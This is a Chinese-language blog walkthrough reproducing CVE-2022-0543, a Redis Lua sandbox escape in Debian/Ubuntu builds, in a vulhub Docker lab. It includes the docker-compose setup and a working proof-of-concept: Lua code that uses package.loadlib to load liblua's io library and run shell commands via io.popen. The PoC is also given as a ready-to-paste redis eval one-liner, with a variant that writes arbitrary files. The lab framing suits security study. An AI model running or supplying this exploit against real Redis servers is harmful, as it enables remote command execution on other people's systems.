微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

CVE-2022-0543

CVE-2022-0543

漏洞介绍

Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

搭建环境

docker-compose.yml

version: '2'
services:
 redis:
   image: vulhub/redis:5.0.7
   ports:
    - "50002:6379"
  • image:表示要拉去的镜像

  • ports:"映射到本地端口:容器内的端口"

启动环境

在docker-compose.yml文件对应目录中输入命令:

docker-compose up -d

漏洞复现

我们借助Lua沙箱中遗留的变量packageloadlib函数来加载动态链接/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令。

Lua是由C编写的,上面的话就是说我们可以直接调用一个变量然后操作io库进行任意执行。但是要实现CVE-2022--0543复现首先redis得有未授权访问漏洞或者我们已经通过一些手段进入了redis

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在我们Vulhub环境(Ubuntu fiocal)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0

连接redis,使用eval命令执行上述脚本:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

这里我们下载一个redis客户端软件方便操作

redis认有16个db随意选择一个即可

输入上面的poc,成功执行了id命令

第二次我们将io.oppen("id","r")中的id替换为echo 123>text.c 实现任意文件写入

在服务器中查看的结果

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐